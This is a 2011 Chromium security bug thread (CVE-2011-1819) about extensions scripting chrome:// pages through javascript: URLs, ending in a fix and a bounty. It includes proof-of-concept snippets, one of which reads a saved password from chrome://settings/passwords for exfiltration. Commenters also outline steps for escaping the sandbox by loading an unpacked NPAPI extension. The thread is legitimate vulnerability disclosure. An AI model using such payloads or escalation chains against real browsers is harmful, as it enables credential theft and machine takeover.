New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users

Issue metadata

Status: Fixed
User never visited
Closed: May 2011
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 2
Type: Bug-Security

issue 83096

  • Only users with EditIssue permission may comment.

Sign in to add a comment

An extension can access and modify all chrome:// pages, options, etc.

Reported by, May 18 2011 Back to list

Issue description

An packaged app/extension can access and modify all chrome: pages, read/write preferences, run chrome.send function, 
pass arguments directly to c++, 
without required permissions,
without using NPAPI plugin, 
content script or chrome.tabs.executeScript

Chrome Version: 
[11.0.696.68] [stable]
[12.0.742.53] [beta]
[13.0.767.1]  [dev]

Operating System: [MS Windows Vista Home Premium Edition Service Pack 2 (build 6002), most likely affect all OS]

1. Add the following permissions in an app/extension manifest:
"permissions": ["tabs", "<all_urls>"]

2. Call from any extension script: 

chrome.tabs.create({url:'chrome://downloads/'}, function(tab) {
  onComplete() // wait when tab is complete
  chrome.tabs.update(, {url: 'javascript: document.styleSheets[0].addRule("*","color:red;");'});

Complete code: Hotcleaner_Alpha_Test.crx
Look at bg.html line: 44-57

30.0 KB Download

Comment 1 by, May 18 2011

Labels: -Pri-0 -Area-Undefined Pri-2 SecSeverity-Low OS-All Mstone-13 Feature-Extensions
Status: Available
Given that installing a malicious extension is required for this I think it's probably low severity. The only things you can really get with this that you couldn't from the all urls permission is maybe the saved passwords (although you could probably figure out a way to get these anyway).

This will be fixed when tsepez's CSP patch lands for chrome schemas given that the inline script directive covers javascript urls.

Erik, how do you feel about this one? 

Comment 2 by, May 18 2011

The malicious extension seems like it can do essentially the same thing by design. So, I'm wondering if this should be severity-none and WontFix?
Cc: a deleted user
Isn't this fixed by 77026?  We shouldn't be allowing you to navigate to a JS URL unless you have host permissions to that page.  <all_urls> shouldn't give you access to chrome:.  Mihai, I think you reviewed the fix for 77026, right?  Could you confirm?
All user paswords stored locally can be stealthed withiut any permission and send to malware site owner with just two lines of js code, for example:

1. chrome.tabs.create({url:'chrome://settings/passwords',
2. chrome.tabs.update(, {url:'javascript:var pass = document.getElementsByClassName("inactive-password")[0].value;alert(pass);""+pass,""+pass);'});

Most likely, using this vulnerability an attacker may access any info stored on user's local file system. All chrome.send commands available for an attacker, including remoting and sync,
without any user's permissions!

I'm wondering that SecSeverity is assigned Low status. Affected all Chrome versions on all platforms. I'am not sure that none of > 20000 app/ext are not doing this right now.
SecSeverity is High.  
It appears that Mihai is out today.  Antony, could you please investigate to verify whether 77026 was not a sufficient fix?
I'm not comfortable with SecSeverity-Low: I know this requires a malicious extension, but it seems to me that an attacker that can script chrome://settings and chrome://extensions can completely compromise the machine:
1) Enable automatic downloads
2) Change download folder to a temporary folder
3) Download an unpacked extension to this folder.
4) Change download folder back to original path
5) Load unpacked extension from temporary folder.
The folder magic is needed because Chrome won't load extensions from the downloads folder but I expect that if you change it, it will load just fine. (I have not tested)
It turns out that our fix for 77026 was incomplete.  That one was designated as SecSeverity-Medium, so this should be at least that.

Comment 8 by, May 18 2011

Labels: -SecSeverity-Low SecSeverity-Medium
So I just wrote up a test for this and it is in fact possible to install an npapi extension in this way from another extension with tabs and all url permissions. I can see bumping this to medium severity given that this gets code running outside the sandbox. 
1) Create folder into sanboxed Filesystem (HTML5 API)
2) Using XMLHttpRequest, load into created folder extension files,
including NPAPI plugin!
3) Change download folder to filesistem://malwareext/ path
4) Load unpacked extension with NPAPI plugin (silently!)
I have checked this, extension is loading using this path. 

As a result full machine control through NPAPI plugin (as child chrome.exe proccess!).
I think SecSeverity should be high.  

Comment 10 by, May 18 2011

I agree, the sandbox escape definitely works but the fact that you have to get a malicious extension installed to achieve this limits the severity. I think medium is where we are right now but we are actively discussing this.

Comment 12 by, May 19 2011

I think I see the issue. In the CL for  bug 77026  and related CLs, I tried to simplify this code and it looks like maybe I simplified away the check that excludes chrome:// URLs.

Apologies :-/.
Blocking: 83096

Comment 14 by, May 19 2011

twittermoo, just to be clear the fact that we are rating this medium severity does not nessecarily mean you won't receive a reward for the report. In fact I will nominate you . So if that is your concern don't worry :)

Comment 15 by, May 19 2011

Labels: reward-topanel
Thank you. It is very important to me and my product Click&Clean. 

There is one fear:
Currently, to Delete Browsing History in Chrome session,
Click&Clean ext. uses NPAPI plugin (win32) and the following approach:

1. Finds parent Chrome window, then child window handle (address bar) by class 
'Chrome_AutocompleteEditView' or 'Chrome_OmniboxView'

2. Then SendMessage(hwndOmnibox, WM_SETTEXT, NULL, L"javascript: ....");

Hope this opportunity will not be closed, in other words, javascript 
scheme should be closed for extensions/javascript access only, 
but not for scripting chrome:// pages trought address bar manually.
Project Member

Comment 17 by, May 20 2011

The following revision refers to this bug:

r86164 | | Fri May 20 15:50:09 PDT 2011

Changed paths:

Additional restrictions on kChromeUIScheme pages.

BUG= 83010 
TEST=See bug for more details

Review URL:
@16 - Could you be a bit more specific in terms of what you need above the history.* API?  It would be better for us to add APIs to support your needs.

@18 At least the following methods should be very useful for all:

Have found that hosted web app have access to chrome://newtab page and can call chrome.send:

1. Add the following web_url in an web app manifest:
"app": { "launch": { "web_url": "javascript:alert(chrome.send);" }}

Javascript code executes into newTab page context.
@19 - filed as  bug 83530 

@20 - javascript: in the "launch" URL was fixed a while back.  What version of Chrome are you seeing this in?

[11.0.696.68] - [stable] (Official Build 84545)
WebKit	534.24 (branches/chromium/696@85995)
MS Windows Vista Home Premium Edition Service Pack 2 (build 6002) 
Thanks.  It should be resolved in Chrome 12.
Labels: -Restrict-View-SecurityTeam -Mstone-13 Restrict-View-SecurityNotify Mstone-12
Status: WillMerge
Checked with Erik. We will merge r86164 to m12.

Comment 25 by, May 23 2011

Labels: ApprovedForMerge
Status: FixUnreleased
hand merged to m12 in r86315. minor conflict in
Project Member

Comment 27 by, May 23 2011

The following revision refers to this bug:

r86315 | | Mon May 23 12:01:45 PDT 2011

Changed paths:

Merge 86164
BUG= 83010 
Review URL:
@twittermoo: thanks for the report. What name should we use to credit you?
You can use my real name Vladislavas Jarmalis
Thank you.
Labels: -reward-topanel reward-1000 reward-unpaid
@twittermoo: thanks for this bug! I'm happy to offer you a $1000 Chromium Security Reward! It's very unusual to reward Medium severity bugs at this level, but your demonstration of busting into chrome:// pages is compelling.

Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
Very nice, thank you for Chromium Security Reward! 
You're awesome :) ! 
It will be good support for my Click&Clean project:

P.S Who to contact about further details? 
Labels: CVE-2011-1819
@twittermoo: thanks again!
Check out

To collect your reward, e-mail
Labels: -Restrict-View-SecurityNotify -reward-unpaid
Status: Fixed
Invoice finalized; payment is in e-payment system; it can take a couple of weeks.
Labels: SecImpacts-Stable
Batch update.
Project Member

Comment 36 by, Oct 13 2012

Blocking: -chromium:83096 chromium:83096
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 37 by, Mar 10 2013

Labels: -Type-Security -SecSeverity-Medium -Mstone-12 -Feature-Extensions -SecImpacts-Stable Cr-Platform-Extensions Security-Severity-Medium Security-Impact-Stable M-12 Type-Bug-Security
Project Member

Comment 38 by, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Project Member

Comment 39 by, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 40 by, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 41 by, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Project Member

Comment 42 by, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Labels: allpublic

Comment 44 by, Yesterday (31 hours ago)

Labels: CVE_description-submitted

Sign in to add a comment